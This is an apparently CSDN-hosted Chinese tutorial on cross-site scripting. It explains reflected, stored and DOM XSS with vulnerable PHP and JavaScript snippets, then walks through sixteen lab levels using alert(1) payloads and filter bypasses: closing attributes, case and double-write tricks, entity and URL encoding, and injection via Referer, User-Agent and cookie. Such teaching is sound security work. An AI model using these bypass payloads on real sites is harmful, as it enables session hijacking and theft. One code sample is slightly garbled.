XSS(跨站脚本攻击)——原理、基本类型与应用(反射型、存储型)

目录

【学习目标、重难点知识】

【学习目标】

【重难点知识】

1、概念

2、危害

3、XSS分类

4、XSS前端基础回顾

4.1、HTML标签:常用标签回顾。

4.2、JavaScript:

5、XSS利用流程

6、XSS攻击基本流程

怎么简单检测是否存在XSS?

7、反射型XSS

概念

攻击流程

代码分析

8、存储型XSS

概念

攻击流程

代码分析

9、DOM型XSS

概念

代码分析

10、XSS构造技巧

常用测试语句

常见的XSS的绕过编码

JS编码

HTML实体编码

URL编码

靶场解析

第一关

第二关

第三关

第四关

第五关

第六关

第七关

第八关

第九关

第十关

第十一关

第十二关

第十三关

第十四关

第十五关

第十六关


【学习目标、重难点知识】

【学习目标】

  1. XSS概念原理危害
  2. XSS分类
  3. XSS利用流程
  4. 反射型XSS
  5. 存储型XSS

见框就插,弹框即可证明漏洞存在

【重难点知识】

  1. XSS原理
  2. 反射型XSS
  3. 存储型XSS

1、概念

XSS跨站脚本介绍

跨站脚本(Cross-Site Scripting,XSS)是一种经常出现在Web应用程序中的计算机安全漏洞

  • XSS漏洞是出现再客户端的漏洞

是由于Web应用程序对用户的输入过滤不足而产生的。攻击者利用网站漏洞把恶意的脚本代码(通常包括HTML代码和客户端Javascript脚本)注入到网页之中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害者可能采取Cookie资料窃取、会话劫持、钓鱼欺骗等各种攻击。

  • xss漏洞最常见的攻击方式就是获取目标的cookie信息
  • cookie:用于记录用户的一些信息;比如:登录状态,浏览记录等
C:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles
  • sql注入,注入的是sql语句
  • 闭合的是是sql语句
  • xss注入的是前端代码JS,闭合的也是前端代码,常见的html标签,让我们插入的标签生效
  • 拿到cookie,要保证对方不退出,如果对方退出系统,cookie将失效

XSS跨站脚本攻击本身对Web服务器没有直接危害,它借助网站进行传播,使网站的大量用户受到攻击。

比如说:论坛或者谋篇文章下面留言,登录之后才允许评论,你的评论其他网友可以看到

<script>alert(1)</script>

攻击者一般通过留言、电子邮件或其他途径向受害者发送一个精心构造的恶意URL,当受害者在Web浏览器中打开该URL的时候,恶意脚本会在受害者的计算机上悄悄运行,流程如图所示:

  • 攻击者先发起XSS攻击,注入恶意代码
  • 然后诱导其他用户去访问含有js代码的的网站,然后网页中的js代码就会被执行
  • 造成用户信息的泄露
  • 测试xss,只需弹框即可证明,不要构造真实的攻击代码

XSS漏洞一直被认为是web安全中危害较大的漏洞,在owasp一直处于top3。而在对sql注入防范越来越严密的今天,xss也成了绝大部分黑客更喜欢的漏洞利用方式。XSS漏洞是发生在WEB前端的漏洞,所以危害面及广,任何用户在访问前端时都可能中招。

XSS的本质就是前端代码注入

注入攻击的本质,是把用户输入的数据当做代码执行。

这里有两个关键条件:

  • 第一个是用户能够控制输入
  • 第二个是原本程序要执行的代码,拼接了用户输入的数据

问:那么XSS主要拼接的是什么?

SQL注入拼接的是操作数据库的SQL语句。XSS拼接的是网页的HTML代码,一般而言我们是可以拼接出合适的HTML代码去执行恶意的JS语句。

总结:xss就是拼接恶意的HTML

2、危害

面经:XSS的危害

  1. 网络钓鱼,包括盗取各类用户账号;
  1. 窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作;
  1. 劫持用户(浏览器)会话,从而执行任意操作,例如进行非法转账、强制发表日志、发送电子邮件等;
  1. 强制弹出广告页面、刷流量等;
  1. 网页挂马;
  1. 进行恶意操作,例如任意篡改页面信息、删除文章等;
  1. 进行大量的客户端攻击,如DDoS攻击;
  1. 结合其他漏洞,如CSRF漏洞,实施进一步作恶;
  1. 传播跨站脚本蠕虫等。

3、XSS分类

  • 反射型XSS
    • 你提交的数据成功的实现了XSS,但是仅仅是对你这次访问产生了影响,是非持久型攻击
  • 存储型XSS
    • 你提交的数据成功的实现了XSS,存入了数据库,别人访问这个页面的时候就会自动触发
  • DOM型XSS
    • 主要利用DOM相关的操作,修改了页面,引发的惨案

4、XSS前端基础回顾

4.1、HTML标签:常用标签回顾。
  • 单标签:由一个标签组成,br/
<hr />
<img src=""/>
<input value="" name=""/>
  • 双标签:由开始标签结束标签组成
<h1></h1>——<h6>
<script src=""></script>

4.2、JavaScript

基本的引入回顾,简单的语法回顾。

内部引入:

<script>JS代码</script>

<script>alert(1)</script>

外部引入:

<script src="外部JS地址"></script>

事件引入:

<button onclick="JS代码"></button>

window.location.href=
<button onclick="window.location.href='https://www.baidu.com'">跳转百度</button>

5、XSS利用流程

在有漏洞的前端页面嵌入恶意代码,导致受害者访问页面时不知情的情况下触发恶意代码,获取受害者关键信息。形成XSS漏洞的原因本质上还是对输入输出的过滤限制不严格,导致精心构造的脚本输入后,在前端被当做有效代码并执行。

6、XSS攻击基本流程

1.用firefox和chrome的右键菜单进入html编辑器或者直接查看网页源代码。

2.寻找输入点,在输入点输入特殊字符<>’’等,查看是否存在拦截,并且通过编辑器查看输入后存放的位置。

3.发现没有过滤特殊字符后,就要考虑如何构造payload进行xss攻击了。开始分析漏洞页面,构建payload。

网页内容为输出后的显示,箭头部分是我们可控输入的部分

<input type="text" value="123">

<input>是一个空元素,所以在元素内是无论如何不能写入内容的,所以我们先要把<input>闭合掉,然后再插入我们的xsspayload。

我们预想的弹窗语句:

<input type="text" value=" "><script>alert('xss')</script> ">

Input是一个完整的元素后面跟一个新的元素标签<script>,此时的<script>已经包含在正文的body内,成为可以执行的新元素,那么此时弹窗语句可以顺利执行。所以我们往回推,为保证输入过后能成为上面的语句,我们应该怎么做呢?如首先输入一个">将input元素闭合,其次将后面的<script>内容输入即可。payload:"><script>alert('xss')</script>,我们尝试输入一下,成功弹窗。

怎么简单检测是否存在XSS?

一般是想办法让浏览器弹窗(alert) 最经典的弹窗语句:

一般证明XSS是否存在,就是在正常页面传参然后构建参数让他弹窗就是存在XSS了

记住一句至理名言:见框就插

只要有弹窗,说明就有XSS漏洞。

7、反射型XSS

概念

反射性XSS又称非持久型XSS,这种攻击方式往往具有一次性。

攻击方式:攻击者通过电子邮件等方式将包含xss代码的恶意链接发给目标用户。当目标用户访问该链接时,服务器接收该目标用户的请求并进行处理,然后服务器把带有XSS代码的数据发送给目标用户的浏览器,浏览器解析这段带有XSS代码的恶意脚本后,浏览器解析这段代码后就会触发xss攻击,完成攻击者想要的功能(获取cookies、url、浏览器信息、IP等等)。

攻击流程

1、见框就插

2、看是否弹框,如果弹框就表示攻击成功

3、如果没有弹框

  • 是否闭合
  • 是否由过滤
  • 如果有过滤,尝试换一些标签,编码绕过,大小写绕过,双写绕过等等

代码分析

$html = '';
if (isset($_GET['submit'])) {
    if (empty($_GET['message'])) {
        $html .= "<p class='notice'>输入'kobe'试试-_-</p>";
    } else {
        if ($_GET['message'] == 'kobe') {
            $html .= "<p class='notice'>愿你和{$_GET['message']}一样,永远年轻,永远热血沸腾!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />";
        } else {
        
            $html .= "<p class='notice'>who is <imag src=1 onerror=alert(1)>,i don't care!</p>";
        }
    }
}

在反射型XSS PHP代码中,通过GET获取参数message的值,然后通过判断输出message的值。

当输入<img src=1 onmouseenter=alert('xss')>时,输出到页面的HTML代码变为

who is <img src=1 οnerrοr=alert('xss')> ,i don't care!

<img>标签的作用让浏览器弹窗显示”xss”

8、存储型XSS

概念

存储型XSS又称持久型XSS,攻击脚本将被永久地存放在目标服务器的数据库或文件中,具有很高的隐蔽性。

攻击方式:这种攻击多见于论坛、博客和留言板,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入帖子的内容中。随着帖子被服务器存储下来,恶意脚本也永久地被存放在服务器的后端存储器中。当其他用户浏览这个被注入了恶意叫你本的帖子时,恶意脚本会在他们的浏览器中得到执行。

如下,恶意攻击者在留言板中加入以下代码:<script>alert(“hello”)</script>当其他用户访问留言版时,就会看到一个弹窗。可以看到,存储型XSS的攻击方式能够将恶意代码永久地嵌入一个页面中,所以访问这个页面的用户都将成为受害者。如果我们能够谨慎对待不明链接,那么反射型XSS攻击将没有多大作为,而存储型XSS则不同,由于它注入在一些我们信任的页面,因此无论我们多么小心,都难免会受到攻击。

<script>console.log(123)</script>

攻击流程

代码分析

<p class="line">留言列表:</p>

<?php echo $html;
$query = "select * from message";
$result = execute($link, $query);
while ($data = mysqli_fetch_assoc($result)) {
    echo "<p class='con'>{$data['content']}</p><a href='xss_stored.php?id={$data['id']}'>删除</a>";
}

构造payload

<img src=1 onerror=alert(1)>

9、DOM型XSS

概念

DOM全称Document Object Model,使用DOM可以使程序和脚本能够动态访问和更新文档的内容、结构及样式。DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。HTML的标签都是节点,而这些节点组成了DOM的整体结构——节点树。通过HTML DOM,树中的所有结点均可通过JavaScript进行访问。所有HTML元素(节点)均可被修改,也可以创建或删除节点。HTML DOM树结构如下:

在网站页面中有许多元素,当页面到达浏览器时,浏览器会为页面创建一个项级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑,从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM动态修改页面内容,从客户端获取DOM中的数据并在本地执行。由于DOM是在客户端修改节点的,所以基于DOM型的XSS漏洞不需要与服务器端交互,它只发生在客户端处理数据的阶段。

攻击方式:用户请求一个经过专门设计的URL,它由攻击者提交,而且其中包含XSS代码。服务器的响应不会以任何形式包含攻击者的脚本。当用户的浏览器处理这个响应时,DOM对象就会处理XSS代码,导致存在XSS漏洞。

  • 反射型xss

  • 用户提交js恶意代码 ==> 交给后端进行处理(php) ===> 后端将带有恶意代码的数据输出到页面上 ===> 导致恶意代码被执行
  • 经过了后端的处理
  • 必须要有一个后端的输出
  • 有没有一种可能,不经过后端处理,直接输出到页面上

举个例子:完成不经过后端进行输出

<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport"
          content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>

</head>

<body>
<form action="dom.html" method="get">
    <input type="text" name="keywords">
    <input type="submit">
</form>

<p>搜索记录:<span id="history">value</span></p>

</body>

<script>
    var url=document.location.href;
    // console.log(url);
    var index=url.indexOf("http://a/v/?keywords=sdfsdf");
    // console.log(index);
    var value=unescape(url.substring(index+"keywords=".length));
    // console.log(value)
    var span=document.getElementById("history");
    span.innerHTML=value;
    //在value的位置可以写任意的前端代码,都会被执行加载,也是一次性的。
</script>

</html>

反射型和dom型的区别

  • 反射型经过了后端处理
  • dom型,完全不经过后端
  • 本质上dom型是一种特殊的反射型

存储型,将输入的内容写入到了数据库里面,然后输出的时候去调用库里面的内容

1、常见js操作dom的方法

  • getElementById():返回带有指定 ID 的元素
  • getElementsByName():返回包含带有指定 name 的所有元素的节点列表
  • getElementsByTagName():返回包含带有指定标签名称的所有元素的节点列表
  • getElementsByClassName():返回包含带有指定 class 的所有元素的节点列表

2、找到对象之后,就要操作对象:操作属性 或者 内容

span.innerHTML="内容";
span.innerText="内容";

代码分析

<script>
    function domxss() {
        var str = document.getElementById("text").value;
        document.getElementById("dom").innerHTML = "<a href='" + str + "'>what do you see?</a>";
    }
</script>

<input id="text" name="text" type="text" value="str"/>
<input id="button" type="button" value="click me!" onclick="domxss()"/>
<div id="dom"><a href='str'></a></div>

构造payload

'><img src=1 onerror=alert(1)>

10、XSS构造技巧

常用测试语句

<script>alert(1)</script>

<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<a href=javascript:alert(1)>

常见的XSS的绕过编码

常见的XSS的绕过编码有JS编码、HTML实体编码和URL编码。

JS编码

JS提供了四种字符编码的策略,如下所示:

三个八进制数字,如果个数不够,在前面补0,例如“e”的编码为“\145”。

两个十六进制数字,如果个数不够,在前面补0,例如“e”的编码为“\x65”。

四个十六进制数字,如果个数不够,在前面补0,例如“e”的编码为“\u0065”。

对于一些控制字符,使用特殊的C类型的转义风格(例如\n和\r)。

HTML实体编码
命名实体:以&开头,以分号结尾如 “<”的编码是“&lt;”。字符编码:十进制、十六进制ASCII码或Unicode字符编码,样式为“&#数值”。例如”<”可以编码为“&#060;”和“&#x3c;”。

https://www.w3school.com.cn/html/html_entities.asp

URL编码
这里的URL编码,也是两次URL全编码的结果,如果alert被过滤,可编码为如下:

%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34

靶场解析

第一关
<script>alert(1)</script>
第二关

<script>alert(1)</script>

不成功——》查看源码——》是否被实体化了》——》input没有,闭合标签
      • 尝试闭合标签
"><script>alert(1)</script>
第三关

<script>alert(1)</script>
    • 发现标签被实体化
<input name=keyword  value='&lt;script&gt;alert(1)&lt;/script&gt;'>	
      • 尝试事件,onmouseenter

' onmouseenter='alert(1)
第四关
<script>alert(1)</script>
    • 还是过滤尖括号
    • 尝试事件绕过
" onmouseenter="alert(1)
第五关
<script>alert(1)</script>
    • 尝试大小写绕过,发现还是不行
<ScRIpt>alert(1)</ScRIpt>
    • 事件,发现也存在过滤
    • 尝试伪协议
"><a href="javascript:alert(1)">点我</a>


<a href="javascript:alert(1)">点我</a>	
第六关
<script>alert(1)</script>
还是被过滤
script => scr_ipt
* 尝试大小写绕过
 "><SCrIpt>alert(1)</SCrIpt>
第七关

<script>alert(1)</script>
还是被过滤script
尝试双写绕过
"><scrscriptipt>alert(1)</scriscriptpt>
第八关
<script>alert(1)</script>
    • 过滤了script=> scr_ipt
    • 查看源码发现传入的内容在href里面
<a href="javascr_ipt:alert(1)">
    • 所以,尝试了为协议,也被过滤
javascript:alert(1)  ==>  javascr_ipt:alert(1)
    • 判断过滤了哪些字符,发现全部被过滤
src onfocus script onerror javascript
    • 考虑编码绕过,unicode
javascript:alert(1)编码

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;
第九关

<script>alert(1)</script>

验证了是否有HTTP

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;/* http:// */
第十关

<script>alert(1)</script>
    • 右键查看源码发现有几个隐藏的值
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
    • 尝试将t_sort、t_history、t_link传入value,发现t_sort可以正常传入
  • 再去尝试传入js闭合
" onmouseenter=alert(1) type="text
第十一关

  • 查看源码时记录了referer头部

<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
<input name="t_ref"  value="http://www.xsslibs.com/level10.php?keyword=123&t_link=123&t_history=123&t_sort=%22%20onfocus=alert(1)%20type=%22text" type="hidden">
  • 尝试再referer头部传入
" onmouseenter=alert(1) type="text
第十二关

  • 同第十一关

  • 替换UA
第十三关

  • 查看源码发现需要传入cookie

<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
<input name="t_cook"  value="" type="hidden">
  • 传入的cookie,需要满足题目要求,user=call+me+maybe%3F
  • 所以我们传进来的值应该是
user=" onfocus=alert(1) type="text
第十四关
  • 忽略跳过
第十五关
  • 利用的是文件包含
  • js里面的ng-include和php里面include,一样的作用想办法包含其他关卡,进行弹框包含第二关,用经典xss代码发现被实体化,再尝试用事件型
http://www.xsslibs.com/level15.php?src='level2.php?keyword=as" onfocus="alert(1)'
第十六关
<script>alert(1)</script>

  • 发现过滤了script
  • 大小写,双写发现都不行

  • 尝试其他标签,发现空格被过滤,被实体化了

  • 尝试绕过空格,%0a替代空格
http://www.xsslibs.com/level16.php?keyword=%3Cimg%0asrc=123%0aonerror=alert(1)%3E

以上便是XSS靶场的实战练习,如果还有不明白的地方可以评论区留言,我会就疑问处出更详细的复现与讲解

  • 16
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

苏苏渗透大师

请把钱砸我脸上谢谢

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值